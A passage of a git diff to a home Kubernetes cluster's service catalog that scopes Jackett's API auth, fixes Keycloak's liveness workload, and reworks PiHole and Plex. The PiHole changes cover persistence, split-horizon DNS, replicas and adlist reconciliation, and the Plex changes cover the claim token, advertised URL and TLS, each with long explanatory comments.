+  # SCOPE: `/api/` only. Jackett serves its UI at /UI/ and its static assets elsewhere, and a
+  # browser never NAVIGATES to /api/ — so a plain page load is still 302'd into a silent SSO
+  # sign-in, which is the behaviour that must not change.
+  apiRoutes:
+    - ^/api/
 update:
   channel: stable               # R-UPD-01
   range: ">=0.22.0"             # stay on the Jackett 0.22.x stable line

catalog/keycloak.yaml

@@ -31,5 +31,15 @@ observability:
   metrics: true
   slis:
     - up                      # IdP down/unhealthy is a critical alert (docs/10; R-OBS-01)
+  # WHAT "up" IS for Keycloak. The Keycloak OPERATOR runs the server as a StatefulSet named
+  # `keycloak` (pods keycloak-0/1), not as the Deployment this ServiceDefinition would otherwise
+  # imply — the operator owns the workload (platform/keycloak/keycloak-instance.yaml) and this SD
+  # is the catalog's declaration of intent for it. Without this override the rendered SLI would
+  # read a Deployment series that does not exist and its `absent()` half would fire FOREVER.
+  # Verified on prod 2026-09-13: kube_statefulset_status_replicas_ready{namespace="keycloak",
+  # statefulset="keycloak"} = 2, and the only Deployment in that namespace is keycloak-operator.
+  livenessWorkload:
+    kind: StatefulSet
+    name: keycloak
 backup:
   policy: daily-offcluster    # DR-critical: rebuilds from DB + git realm config (docs/15, docs/04; R-STATE-03)

catalog/pihole.yaml

@@ -12,7 +12,186 @@ storage:
   - name: config
     size: 2Gi
     class: longhorn           # replicated config state; DR-critical (docs/04 line 118; R-STATE-02/03)
+    # THE PVC WAS MOUNTED SOMEWHERE PIHOLE NEVER WRITES, AND SO HELD NOTHING AT ALL. Without an
+    # explicit mountPath the renderer defaults to /data/<name>, i.e. /data/config — but PiHole keeps
+    # every piece of its state in /etc/pihole. MEASURED on live prod 2026-10-04: `/etc/pihole` (7.1 M
+    # — gravity.db, pihole.toml, the query DB) was on the **overlay** filesystem, i.e. the
+    # container's EPHEMERAL layer, while `/dev/longhorn/pvc-849edb86...` sat mounted at
+    # /data/config holding `lost+found` and 24 K of nothing. Three consequences, all live until now:
+    #   * every restart silently discarded PiHole's whole state, re-downloading 72 k gravity domains
+    #     and regenerating the admin password hash;
+    #   * `backup.policy: daily-offcluster` below has been faithfully backing up an EMPTY volume,
+    #     which is worse than no backup because it reports success;
+    #   * it is also why phase 1's password/adlist declaration mattered more than it first appeared —
+    #     that state was not merely undeclared, it was ephemeral.
+    # This is the same class of bug catalog/plex.yaml's `config` entry documents ("Without this the
+    # PVC sat unused and Plex wrote to the container's EPHEMERAL layer").
+    #
+    # /etc/pihole IS THE IMAGE'S INTENDED MOUNT POINT, and an EMPTY volume there self-initialises.
+    # Verified in the running image, not assumed:
+    #   * `/usr/bin/start.sh` (PID 1) calls `migrate_gravity`, whose `migrate_to_database()` creates
+    #     the gravity database when `[ ! -e "$gravityDBfile" ]` — the same branch the postStart hook
+    #     below relies on, and the branch that produced the current ephemeral copy.
+    #   * FTL writes `pihole.toml` itself from the `FTLCONF_*` env above (that is what the
+    #     `### CHANGED (env)` markers in it are).
+    #   * NO `podSecurityContext.fsGroup` is needed and adding one would be inert: `start.sh` line 5
+    #     is `chown -R pihole:pihole /etc/pihole/ /var/log/pihole/` and PID 1 runs as **uid 0**, so
+    #     the image fixes ownership of a fresh root-owned volume before anything else starts. Same
+    #     arrangement as plex's image managing its own /config ownership.
+    #   * the image's own default for `files.macvendor` was moved OUT of this directory (to
+    #     `/macvendor.db`), which is what a maintainer does to a path they expect to be a volume.
+    #
+    # WHY IT IS FIXED IN THIS BRANCH rather than left for its own: `availability.replicas: 2` renders
+    # per-replica volumeClaimTemplates, and with the wrong mountPath those would be two 2 Gi Longhorn
+    # volumes (times three Longhorn replicas each) holding nothing but `lost+found` while all state
+    # stayed ephemeral — paying the cost of persistence and getting none of it. It also REMOVES this
+    # change's main operational risk: with gravity.db persisted, a pod restart is cheap, instead of
+    # every restart re-downloading 72 k domains inside a wave that has a 5 m timeout.
+    mountPath: /etc/pihole
 dependencies: []              # default-deny: reaches only DNS; it PROVIDES DNS (docs/03; R-NET-01/02)
+# ------------------------------------------------------------------------------------------------
+# LAN SPLIT-HORIZON DNS — the half of R-DNS-03 that platform/coredns/coredns-custom.yaml defers to.
+# ------------------------------------------------------------------------------------------------
+# coredns-custom answers the ${BASE_DOMAIN} zone for PODS ONLY and says so in its own header ("LAN
+# clients keep their own answers (PiHole split-horizon)"). Until now PiHole served no DNS at all —
+# its Service was ClusterIP :80/:4180, no port 53, no LoadBalancer — so the LAN half did not exist
+# and LAN clients depended on hand-maintained per-client dnsmasq files. One went stale after the dev
+# decommission and cost the operator sonarr.${BASE_DOMAIN}. Upstream cannot cover for it either: the
+# SOHO router that owns this LAN strips RFC1918 answers for public domains as rebind protection and
+# returns NOERROR / ANSWER 0. apps/wave-0/pihole-dns.yaml exposes udp/53 + tcp/53 on
+# ${PIHOLE_DNS_VIP}; these env vars are what make the ANSWERS declarative.
+#
+# WHY env AND NOT A RECONCILER: the repo's level-triggered CronJob reconcilers
+# (platform/keycloak/client-secret-reconciler.yaml, the CNPG grant reconciler in
+# apps/wave-0/nextcloud-db.yaml) exist because their state has NO declarative entry point — a
+# Keycloak client secret lives in Keycloak's own database and a Postgres GRANT lives in the
+# catalog, and nothing in a manifest can express either. PiHole v6 is not that case. Every FTL
+# setting has an `FTLCONF_<section>_<key>` environment variable, and a value supplied that way is
+# ENV-FORCED: FTL logs it as "forced through environment", applies it on every start ahead of
+# /etc/pihole/pihole.toml, and marks it read-only in the admin UI so a human cannot drift it. That
+# is strictly better than a reconciler — it is enforced at t=0 on a cold start rather than at the
+# next cron tick, it cannot be defeated by the UI, and it carries no extra RBAC, image or Job. A
+# CronJob here would be ceremony around a knob the app already exposes. (Verified on the live prod
+# image, PiHole Core v6.4.3 / FTL v6.7, 2026-09-14.)
+#
+# THE PVC IS NOT THE MECHANISM AND MUST NOT BE. The `config` volume below mounts at /data/config;
+# PiHole's actual state directory is /etc/pihole, which is EPHEMERAL in this Deployment. Anything
+# configured through the UI is lost on the next reschedule — which is exactly what happened to the
+# upstream servers: the live pod's pihole.toml carried a hand-set `upstreams` marked "### CHANGED"
+# that no manifest declared, so a restart would have left PiHole with upstreams = [] and no
+# recursion at all. Declaring upstreams here closes that too: PiHole must stay a usable GENERAL
+# resolver, not only authoritative for this zone, or pointing LAN clients at it breaks the internet.
+env:
+  # Default is LOCAL, which answers only clients on the same subnet as the listening interface. The
+  # pod's interface is on the CLUSTER pod CIDR, so every LAN client would be refused. ALL is
+  # required for a LoadBalancer-fronted resolver; what keeps PiHole from being an OPEN resolver is
+  # the exposure, not this setting — `loadBalancerSourceRanges: [${LAN_CIDR}]` on the DNS Services,
+  # enforced by Cilium in the datapath before load-balancing, plus a CiliumNetworkPolicy that admits
+  # nothing but udp/53 and tcp/53. See apps/wave-0/pihole-dns.yaml.
+  - name: FTLCONF_dns_listeningMode
+    value: "ALL"
+  # Recursion for everything that is NOT this zone. Public resolvers on purpose, NOT the SOHO
+  # router at the LAN gateway: that router is the box whose rebind protection strips RFC1918
+  # answers, and forwarding to a device that may forward back here invites a loop.
+  - name: FTLCONF_dns_upstreams
+    value: "8.8.8.8;8.8.4.4"
+  # Per-client query rate limit OFF (default: 1000 queries per 60s, then REFUSED). It has to be off
+  # because of how the DNS Services are exposed: apps/wave-0/pihole-dns.yaml uses
+  # externalTrafficPolicy Cluster — it must, or LAN resolution breaks whenever Cilium's L2
+  # announcement lease and the pihole pod land on different nodes, which is most of the time — and
+  # Cilium runs in SNAT mode here, so a query forwarded between nodes reaches PiHole carrying the
+  # INGRESS NODE's address instead of the client's. Every LAN device therefore counts against ONE
+  # apparent client's budget, and a normal evening of browsing from a handful of machines would trip
+  # a limit meant to catch one misbehaving host. Leaving it at the default turns the whole LAN's DNS
+  # off for 60 seconds at a time, intermittently, which is the worst possible failure shape. The
+  # limit becomes meaningful again — and should be restored — if Cilium is ever switched to
+  # `loadBalancer.mode: dsr`, which preserves the client address.
+  - name: FTLCONF_dns_rateLimit_count
+    value: "0"
+  # THE SPLIT-HORIZON ANSWERS. A dnsmasq `address=/<domain>/<ip>` entry answers that domain AND
+  # every subdomain of it, and dnsmasq resolves overlapping entries by LONGEST MATCHING DOMAIN —
+  # so the first line is a wildcard for the whole zone and each later line is a specific override.
+  # PRECEDENCE IS THEREFORE STRUCTURAL, not order-dependent: `unifi.${BASE_DOMAIN}` matches both
+  # line 1 and line 2, line 2 is the longer domain, line 2 wins. Rewriting these in any order
+  # changes nothing.
+  #
+  # A NEWLY ONBOARDED SERVICE NEEDS NO CHANGE HERE. Every catalog ingressRoute host is
+  # `<label>.${BASE_DOMAIN}` served by the shared Gateway, so the wildcard already answers it with
+  # ${GATEWAY_VIP} — the same guarantee, and the same reasoning, as the `template IN A` block in
+  # platform/coredns/coredns-custom.yaml. Add a line here ONLY for a service that does not live
+  # behind the Gateway: an L4 LoadBalancer on its own pinned VIP. Those are enumerated from the
+  # repo, not from memory — grep `external-dns.alpha.kubernetes.io/hostname` on a Service, which
+  # is the annotation that means "this Service publishes its own hostname at its own address":
+  # apps/vms/unifi/50-service-l4.yaml (unifi -> ${UNIFI_L4_VIP}) and
+  # platform/crafty/service-l4.yaml (crafty-mc -> ${CRAFTY_L4_VIP}). Those two, plus PiHole's own
+  # resolver address, are the complete set of exceptions today.
+  #
+  # AAAA needs nothing: dnsmasq answers a AAAA query for an `address=`d name with NODATA
+  # (NOERROR, no answer), so IPv6-capable clients fall back to the A record instead of getting
+  # NXDOMAIN — the same behaviour coredns-custom hand-writes a `template IN AAAA` block for.
+  #
+  # Array-valued FTLCONF variables are SEMICOLON-separated. A JSON-looking list is accepted and
+  # then silently wrong: FTL stores `["a","b"]` as ONE array element containing those literal
+  # characters, writes that single bogus line into /etc/pihole/dnsmasq.conf and reports "0 invalid"
+  # while resolution for the zone does not work. Confirmed both ways against the live image.
+  # plex-vip -> ${PLEX_L4_VIP} (added 2026-10-04) is the LAN HALF of Plex's single advertised
+  # hostname. Plex publishes ONE URL to plex.tv for both local and remote clients
+  # (catalog/plex.yaml ADVERTISE_IP): on the LAN this answer points it at the tcp/32400
+  # LoadBalancer, while Cloudflare answers the same name publicly with the WAN address, NATed to
+  # the same VIP. WITHOUT THIS LINE the entry above answers it with ${GATEWAY_VIP} via the zone
+  # wildcard, where NOTHING listens on 32400 — measured 2026-10-04, plex-vip.${BASE_DOMAIN}
+  # resolved to the Gateway VIP and a connect to :32400 there returned http=000. That is a silent
+  # failure: the Plex web UI on plex.${BASE_DOMAIN} keeps working through the Gateway on 443 while
+  # every client that takes the ADVERTISED connection cannot reach the server at all.
+  - name: FTLCONF_misc_dnsmasq_lines
+    value: "address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP};address=/plex-vip.${BASE_DOMAIN}/${PLEX_L4_VIP}"
+  # THE ADMIN PASSWORD, previously the ONE operator-set value declared nowhere. Sourced from
+  # apps/wave-0/pihole-bootstrap-secret.sops.yaml (SOPS/age, same wave => same reconcile), which
+  # carries the full rationale and the measurement that found it.
+  #
+  # `webserver.api.password` takes CLEARTEXT and FTL hashes it itself into `webserver.api.pwhash`.
+  # Verified in the running image, not assumed: `pihole setpassword` is itself
+  # `setFTLConfigValue "webserver.api.password" "$PASSWORD"`, commented upstream as "pihole-FTL will
+  # automatically hash the password". So the BALLOON-SHA256 hash on the PVC is now a DERIVED artefact
+  # and this is its source of truth. Rotating the Secret rotates the password.
+  - name: FTLCONF_webserver_api_password
+    valueFrom:
+      secretKeyRef:
+        name: pihole-bootstrap
+        key: webui-password
+availability:
+  # TWO REPLICAS, ON DIFFERENT NODES. LAN DNS is a critical network service and it was ONE pod on
+  # ONE node. Measured 2026-10-04, that cost more than "until it reschedules":
+  #   * the node running the pod dies -> ~40s to mark it NotReady, then `tolerationSeconds: 300`
+  #     before the pod is even evicted, then reschedule, then Longhorn must force-detach the RWO
+  #     volume from a dead node and reattach it. Roughly 6-10 MINUTES with no LAN resolution.
+  #   * the node holding the `pihole-dns-*` L2 lease dies -> Cilium re-elects an announcer, tens of
+  #     seconds. (These were DIFFERENT nodes: lease on k3s-prod-2, pod on k3s-prod-1. Two of three
+  #     nodes were single points of failure for LAN DNS, with wildly different blast radii.)
+  # The Services already tolerate this: `externalTrafficPolicy: Cluster` on the DNS LoadBalancers
+  # (apps/wave-0/pihole-dns.yaml) means the L2 lease holder forwards to ANY ready backend, so a
+  # second replica is picked up with no change there.
+  #
+  # WHAT THIS DOES NOT FIX, and it is the bigger risk: LAN DNS still depends on the CLUSTER. etcd
+  # quorum loss, a Cilium regression, a Longhorn problem or a bad reconcile takes DNS down
+  # everywhere regardless of replica count. The only thing that removes that dependency is a
+  # resolver outside the cluster carrying the same `address=` lines. Considered and not chosen
+  # (operator decision, 2026-10-04); see decisions/2026-10-04-pihole-multi-replica.md.
+  #
+  # THE PREREQUISITE WAS DONE FIRST, and this field would have been actively harmful without it. A
+  # replica gets a FRESH volume, and until 2026-10-04 PiHole's admin password and adlists lived only
+  # on the PVC — so replica 1 would have come up SERVING DNS AND BLOCKING NOTHING, with a different
+  # password, and answers would have varied by which pod replied. Both are now declared (the
+  # password as a SOPS Secret -> FTLCONF_webserver_api_password; the adlists reconciled into
+  # gravity.db by the postStart hook below), which is what makes a fresh replica identical to its
+  # sibling. See decisions/2026-10-04-pihole-declare-state.md.
+  #
+  # WHY 2 AND NOT 3. Two tolerates the loss of any single node, which is the stated goal, and leaves
+  # a spare node for the evicted replica to land on under the HARD anti-affinity the renderer emits.
+  # Three would pin one replica per node with no spare, so a single node failure would leave a
+  # replica permanently Pending and — `apps-wave-0` being `wait: true` — stall the app tier for as
+  # long as the node was down. Two is the count that degrades gracefully here.
+  replicas: 2
 ingressRoutes:
   - host: pihole.${BASE_DOMAIN}
     port: 80                  # admin web UI, protected at the Gateway by forward-auth (docs/09)
@@ -20,6 +199,117 @@ auth:
   mode: forward-auth          # oauth2-proxy -> Keycloak; bare UI, no native OIDC (docs/15; R-IDP-02)
   groups:
     - platform-admins         # sensitive admin UI: authenticated AND in group (R-IDP-06)
+  # NO `apiRoutes` HERE, DELIBERATELY. PiHole's admin UI serves no /api/ path, so the `^/api/`
+  # that jackett and radarr need would match nothing on a good day — and a BROADER guess would
+  # answer PiHole's own page loads with 401, leaving a logged-out operator on a bare error page
+  # with no sign-in offered. This app is the reason auth.apiRoutes is per-service (schema 1.9.0)
+  # rather than a renderer constant: the measurement that justifies the flag on two apps is
+  # evidence about those two apps. Its oauth2-proxy log holds 0 unauthenticated requests across
+  # the current pod's whole 23h lifetime (measured 2026-10-01), so there is nothing to act on.
+lifecycle:
+  # LEVEL-TRIGGERED ADLIST ASSERTION, run on EVERY container start. Same pattern, and the same
+  # reasoning, as catalog/qbittorrent.yaml's postStart: desired state lives in git and is
+  # RE-ASSERTED unconditionally rather than set once by hand.
+  #
+  # WHY THIS IS NEEDED AT ALL — the blocklists were NOT reproducible from git. Measured on live prod
+  # 2026-10-04: `gravity.db` held exactly ONE adlist (StevenBlack's hosts, enabled) and 72,234
+  # gravity domains, and NOTHING in this repo named it. Worse, a FRESH database does not seed it:
+  # the image's own schema template `/etc/.pihole/advanced/Templates/gravity.db.sql` creates the
+  # `adlist` table and inserts NO rows into it (grepped in the running image — there is no
+  # `INSERT INTO adlist` at all). So a rebuild from git, or a replica with a new PVC, would come up
+  # SERVING DNS AND BLOCKING NOTHING, silently and with every object reporting healthy.
+  #
+  # WHY A postStart HOOK AND NOT A FILE. PiHole v6 keeps adlists as DB rows, not config. The
+  # `/etc/pihole/adlists.list` file still exists in `gravity.sh` but is MIGRATION-ONLY: its import
+  # sits inside `migrate_to_database()`, guarded by `if [ ! -e "$gravityDBfile" ]`, so it fires only
+  # while CREATING a database and never again on an existing one. A ConfigMap mounted there would
+  # therefore be silently ignored on every pod this cluster currently runs. There is also no
+  # `pihole adlist` CLI subcommand (only allow/deny for domains), so SQL against the DB is the
+  # actual interface. FTL ships an embedded shell (`pihole-FTL sqlite3`, SQLite 3.53.1) so no extra
+  # tooling is needed in the image.
+  #
+  # IT RECONCILES, IT DOES NOT JUST ADD: adlists present in the DB but absent from DECLARED below are
+  # DISABLED (not deleted — deleting cascades to `gravity` rows and would force a full re-download of
+  # everything on a typo). So this list is the source of truth in both directions, and `pihole -g`
+  # runs ONLY when something actually changed, which keeps the steady-state start free of a 70k-domain
+  # rebuild.
+  #
+  # NO BRACED DOLLAR EXPANSION ANYWHERE IN THIS SCRIPT, DELIBERATELY — the same contract
+  # catalog/qbittorrent.yaml documents at length. apps-wave-0 declares postBuild.substituteFrom
+  # cluster-vars, so Flux runs envsubst over this whole manifest at reconcile time; a `${VAR}` form
+  # would behave differently on the cluster than under a plain `kubectl apply` of the golden. Bare
+  # `$VAR` and `$(cmd)` are untouched by envsubst and so behave identically however this is run.
+  # `render.py`'s assert_substitution_safe refuses to emit a manifest that breaks this.
+  postStart:
+    exec:
+      command:
+        - /bin/bash
+        - -c
+        - |
+          # Assert the declared adlists in gravity.db. Idempotent: steady state writes nothing and
+          # does NOT run a gravity rebuild.
+          set -u
+          GRAVITY=/etc/pihole/gravity.db
+
+          # THE DECLARED SET — one URL per line, the source of truth for what PiHole blocks.
+          # To add a list: add a line here, commit, let Flux reconcile. Nothing else to do.
+          DECLARED='https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts'
+
+          # On a fresh PVC, FTL creates gravity.db a moment after the container starts. Wait, bounded,
+          # and NEVER block or fail the start: a missing DB here must not crashloop DNS for the LAN.
+          i=0
+          while [ ! -s "$GRAVITY" ] && [ "$i" -lt 90 ]; do sleep 2; i=$(expr $i + 1); done
+          if [ ! -s "$GRAVITY" ]; then
+            echo "pihole-adlists: gravity.db absent after 180s - leaving adlists untouched" >&2
+            exit 0
+          fi
+
+          sql() { pihole-FTL sqlite3 "$GRAVITY" "$1"; }
+          CHANGED=0
+
+          # 1) Every declared URL must be present AND enabled.
+          echo "$DECLARED" | while IFS= read -r url; do
+            [ -n "$url" ] || continue
+            printf '%s\n' "$url"
+          done > /tmp/declared.txt
+          while IFS= read -r url; do
+            [ -n "$url" ] || continue
+            # Single quotes inside a URL would break this SQL; adlist URLs do not contain them.
+            have=$(sql "select count(*) from adlist where address='$url';")
+            if [ "$have" = "0" ]; then
+              echo "pihole-adlists: adding $url"
+              sql "insert into adlist (address,enabled,comment) values ('$url',1,'declared in catalog/pihole.yaml');"
+              CHANGED=1
+            else
+              en=$(sql "select enabled from adlist where address='$url';")
+              if [ "$en" != "1" ]; then
+                echo "pihole-adlists: re-enabling $url"
+                sql "update adlist set enabled=1 where address='$url';"
+                CHANGED=1
+              fi
+            fi
+          done < /tmp/declared.txt
+
+          # 2) Anything enabled in the DB but NOT declared gets disabled (never deleted - see above).
+          sql "select address from adlist where enabled=1;" | while IFS= read -r addr; do
+            [ -n "$addr" ] || continue
+            if ! grep -qxF "$addr" /tmp/declared.txt; then
+              echo "pihole-adlists: disabling undeclared $addr"
+              sql "update adlist set enabled=0 where address='$addr';"
+              echo changed >> /tmp/adlist-changed
+            fi
+          done
+          [ -s /tmp/adlist-changed ] && CHANGED=1
+          rm -f /tmp/adlist-changed /tmp/declared.txt
+
+          # 3) Rebuild gravity ONLY if the declared set actually moved.
+          if [ "$CHANGED" = "1" ]; then
+            echo "pihole-adlists: declared set changed - running gravity update"
+            pihole -g || echo "pihole-adlists: gravity update failed; existing gravity.db retained" >&2
+          else
+            echo "pihole-adlists: already matches the declared set - nothing to do"
+          fi
+          exit 0
 update:
   channel: stable             # R-UPD-01
   range: ">=2024.0.0"

catalog/plex.yaml

@@ -32,19 +32,321 @@ env:
   # (10.43.0.0/16); 192.168.0.0/16 covers the home LAN.
   - name: ALLOWED_NETWORKS
     value: 10.0.0.0/8,192.168.0.0/16
-  # PLEX_CLAIM is deliberately NOT set here: a https://plex.tv/claim token has a ~4-min TTL, far
-  # shorter than the commit -> push -> Flux reconcile -> pod-roll cycle, so any token committed to git
-  # is already expired by the time the pod starts. Claiming is a one-time LIVE step (UI sign-in, or a
-  # single API POST) against the running server; the claim then persists on the /config PVC and
-  # survives pod rolls (including the roll this env change causes), so it never belongs in git.
-  # ADVERTISE_IP ("Custom server access URLs") is DEFERRED, not accidentally omitted. It tells Plex
-  # which URL to advertise to plex.tv for REMOTE clients. The only candidate is
-  # https://plex.home.keithjackson.dev, but that host resolves via split-horizon DNS to the INTERNAL
-  # Gateway VIP (conformance/tests/l2-behavioral/dns-internal-resolution), and both its public
-  # reachability and whether the TLS-terminating Cilium Gateway proxies Plex's 32400 API correctly for
-  # remote access are UNVERIFIED. Advertising a wrong/internal-only URL breaks remote access for ALL
-  # clients, so per "prefer safety over completeness" it is left unset. FOLLOW-UP: once remote
-  # reachability through the Gateway is confirmed, set ADVERTISE_IP: "https://plex.home.keithjackson.dev:443".
+  # PLEX_CLAIM — the ONE-SHOT plex.tv server claim, sourced from the SOPS Secret `plex-claim`
+  # (apps/wave-0/plex-claim-secret.sops.yaml, same wave => applied in the same reconcile as this
+  # workload). Plex cannot create libraries over the mounted bulk share while the server is
+  # UNCLAIMED, so this is wired; it was previously left out on the reasoning below, and only one
+  # half of that reasoning survived contact with the upstream source.
+  #
+  # A SHORT TTL IS THE OPERATIONAL CONSTRAINT, not a reason to abstain. A https://plex.tv/claim token
+  # expires in MINUTES — read the countdown the claim page renders; do not budget against a number
+  # written in this tree. (This comment previously asserted "~4 minutes" as established fact. It was
+  # UNCITED, upstream plexinc/pms-docker documents no expiry at all, and that number was load-bearing
+  # for the whole procedure design — including a since-disproven claim that the delivery pipeline was
+  # too slow to fit inside it. Measured 2026-09-29: the full loop is ~2m45s and fits.)
+  #
+  # The live token is injected by the operator inside that window, with an explicit `flux reconcile`
+  # to collapse the wait. Scripted end to end as infra/plex/claim-ship.sh; runbooks/plex-claim.md is
+  # the procedure. SERVER CLAIMED 2026-09-29 — this env is now a permanent no-op (see below), and the
+  # committed value is the spent token from that claim rather than the original placeholder.
+  #
+  # ONE-SHOT, AND SAFE TO SIT HERE EXPIRED. Verified from plexinc/pms-docker's own first-run script
+  # (branch `master`, root/etc/cont-init.d/40-plex-first-run, confirmed byte-identical to the file in
+  # the running `:latest` image), NOT assumed:
+  #   - the exchange (line 106) is guarded on TWO conditions: PLEX_CLAIM non-empty AND the
+  #     PlexOnlineToken pref in /config empty. Once claimed, the block is SKIPPED — this env is a
+  #     no-op on every subsequent start, whatever it holds. (Upstream README: "If server is already
+  #     logged in, this parameter is ignored.") The claim itself persists on the /config PVC as before.
+  #   - an invalid/expired token on a still-unclaimed /config gets a 403 with an empty body; curl's
+  #     status is unchecked, the token `sed` yields "", the success branch at line 120 does not fire,
+  #     there is no `else` and no `exit 1`, and the script (no `set -e`) exits 0. It comes up UNCLAIMED and
+  #     SERVING — it does NOT crashloop. The image also leaves S6_BEHAVIOUR_IF_STAGE2_FAILS at its
+  #     default 0, which continues startup even when a cont-init script fails.
+  # So the earlier "a placeholder claim Secret would crashloop the pod" note was WRONG about the
+  # placeholder; it was right only about an ABSENT Secret. secretKeyRef here has no `optional` field,
+  # so the Secret must always exist in the Flux graph — which is why it is committed, encrypted, and
+  # listed in apps/wave-0/kustomization.yaml rather than hand-created at claim time. No schema change
+  # is needed: `optional` would only matter if a missing Secret had to be tolerated, and it doesn't.
+  - name: PLEX_CLAIM
+    valueFrom:
+      secretKeyRef:
+        name: plex-claim
+        key: PLEX_CLAIM
+  # ADVERTISE_IP ("Custom server access URLs") — the connection Plex publishes to plex.tv.
+  #
+  # THE VALUE MUST BE RESOLVABLE BY EVERY CLIENT, NOT JUST BY CLIENTS THAT USE OUR DNS. That single
+  # property is what this field keeps getting wrong, so it is the first thing to check before
+  # changing it. A Plex client resolves the advertised host ITSELF, with whatever resolver it
+  # happens to use — and on a real LAN that is frequently NOT PiHole: browsers ship DoH on by
+  # default, phones have "private DNS", guest and IoT devices often take the router's DNS, and some
+  # clients hard-code a public resolver.
+  #
+  # THAT IS NOT THEORETICAL — IT TOOK PLEX DOWN FOR THE WHOLE LAN ON 2026-10-05. This field briefly
+  # advertised `plex-vip.${BASE_DOMAIN}`, a name that exists ONLY in PiHole's split-horizon answers
+  # (catalog/pihole.yaml) and in no public zone. Clients that did not use PiHole could not resolve
+  # it; the SOHO router answered the failed lookup with ITSELF, and every one of them landed on the
+  # router's own web UI and reported a certificate error for `CN = %D`. Measured 2026-10-05: the
+  # router serves that self-signed cert (`C = ZZ, O = %D342e7e6b, CN = %D`) on BOTH `192.168.2.1:443`
+  # and the WAN address, while PiHole itself was answering perfectly — both replicas returned
+  # `plex-vip -> ${PLEX_L4_VIP}` and `plex -> ${GATEWAY_VIP}`. The DNS was right; the DEPENDENCY on
+  # it was the bug. Nothing Plex advertises listens on 443, which is how we know the clients had left
+  # the Plex path entirely and were talking to the router.
+  #
+  # SO: `<dashed-ip>.<serverhash>.plex.direct`, WHICH IS RESOLVER-INDEPENDENT. This is Plex's own
+  # mechanism and the reason it exists: `plex.direct` is a PUBLIC zone that returns the private
+  # address embedded in the label, so EVERY resolver on earth — PiHole, the router, 1.1.1.1, a DoH
+  # browser — answers `192-168-2-24.<hash>.plex.direct` with `192.168.2.24`. It needs no
+  # split-horizon entry, no Cloudflare record, and no certificate work, because the wildcard cert
+  # Plex already serves on 32400 covers exactly this name. Re-verified live 2026-10-05 with FULL
+  # validation (no `curl -k`): resolves to 192.168.2.24 and `/identity` returns **200, TLS verified**.
+  #
+  # WHY NOT THE NICER HOSTNAME, since a readable name in our own zone is obviously more pleasant:
+  # it cannot be made to work for clients that bypass PiHole. A public record for it would resolve
+  # to the WAN address, and with no NAT hairpin on this router a LAN client sent there fails too —
+  # so the hostname is correct ONLY for clients using PiHole, and wrong for the rest. There is no
+  # configuration of that name that is right for both. `plex.direct` is right for both.
+  # (The PiHole `plex-vip` answer is KEPT — it is harmless, costs nothing, and is genuinely useful
+  # for reaching the VIP by name from a LAN shell. It is simply not what Plex advertises.)
+  #
+  # THE TWO EMBEDDED VALUES, and the honest cost of this choice. The dashed IP must track
+  # ${PLEX_L4_VIP} and `<serverhash>` is this server's certificate identity — read it from the live
+  # listener with
+  #     openssl s_client -connect <vip>:32400 </dev/null | openssl x509 -noout -subject
+  # Nothing in this tree can derive either, and nothing checks that they still agree: envsubst
+  # cannot dash an IP, so this is a literal. That fragility is real and was the reason the hostname
+  # was tried in the first place — it is accepted here because an unresolvable name is a WORSE
+  # failure (silent, LAN-wide, and it points users at the router) than a stale literal, which at
+  # least fails loudly and only after someone changes the VIP.
+  #
+  # The image's /etc/cont-init.d/40-plex-first-run runs `setPref "customConnections"
+  # "${ADVERTISE_IP}"` (line 127, verified in the running image), OUTSIDE the
+  # PLEX_CLAIM/PlexOnlineToken guard, with its `/.firstRunComplete` marker on the container OVERLAY
+  # fs rather than the /config PVC — so this is re-applied on EVERY pod start and git, not a web
+  # form, owns the value.
+  - name: ADVERTISE_IP
+    value: https://192-168-2-24.130072f20c334d6c8f63d0dfef87309b.plex.direct:32400
+  # THE TLS MATERIAL FOR THE NAME ABOVE, as PEM text in env rather than a mounted volume.
+  # `plex-vip-tls` is issued by cert-manager from ClusterIssuer `letsencrypt-prod` for exactly
+  # `plex-vip.${BASE_DOMAIN}` (apps/wave-0/plex-cert.yaml, same wave => same reconcile as this
+  # workload). The postStart hook converts it to the PKCS#12 bundle Plex requires.
+  #
+  # WHY ENV AND NOT A VOLUME, which would be the conventional choice. MEASURED 2026-10-04:
+  # `schemas/servicedefinition.schema.json` `storage` accepts only
+  # [class, export, mountPath, name, readOnly, size, subPath] with `additionalProperties: false`,
+  # `catalog/render.py` emits NO secret volumes, and no rendered app mounts a Secret as a volume.
+  # Mounting one therefore needs a schema + renderer change; `env.valueFrom.secretKeyRef` is
+  # already in the schema and already used by PLEX_CLAIM above. PEM is text, so it survives an env
+  # var intact (a raw PKCS#12 would not — it is binary and carries NUL bytes).
+  #
+  # COST, STATED PLAINLY: the private key is readable from this container's environment
+  # (/proc/1/environ, `kubectl exec env`) by anything that can already exec into the pod. That is
+  # the same audience that can read the converted bundle under /config, so the marginal exposure is
+  # small — but a secret VOLUME would still be the better shape, and adding secret-volume support
+  # to the schema is the clean follow-up that removes this note.
+  #
+  # `optional: true` IS LOAD-BEARING, NOT DEFENSIVE CLUTTER (schema 1.11.0, added for this). The
+  # Certificate is issued INTO THIS NAMESPACE, and the namespace is created by the rendered
+  # apps/wave-0/plex.yaml itself — so the cert CANNOT be issued in an earlier tier, and the
+  # Certificate and this Deployment land in the SAME reconcile. On a cold bootstrap the Secret is
+  # therefore briefly absent while cert-manager completes a DNS01 challenge. With a HARD ref, Plex
+  # would sit in CreateContainerConfigError until a certificate issued — and because `apps-wave-0`
+  # is `wait: true` with `apps-wave-1` dependsOn it, a failed or slow issuance would STALL THE WHOLE
+  # APP TIER (the same hazard the `hardware` block below documents for the GPU resource). Optional
+  # instead means: no cert -> Plex still starts and serves, the postStart hook logs that the
+  # certificate was not installed, and the next start after issuance converges. Plex falls back to
+  # its own `*.plex.direct` certificate in the meantime, so the degraded state is "advertised URL
+  # not yet servable over TLS", not "media server down".
+  - name: PLEX_TLS_CRT
+    valueFrom:
+      secretKeyRef:
+        name: plex-vip-tls
+        key: tls.crt
+        optional: true
+  - name: PLEX_TLS_KEY
+    valueFrom:
+      secretKeyRef:
+        name: plex-vip-tls
+        key: tls.key
+        optional: true
+lifecycle:
+  # LEVEL-TRIGGERED PLEX SETTINGS, re-asserted on EVERY container start — the same pattern and the
+  # same reasoning as catalog/pihole.yaml's and catalog/qbittorrent.yaml's postStart: desired state
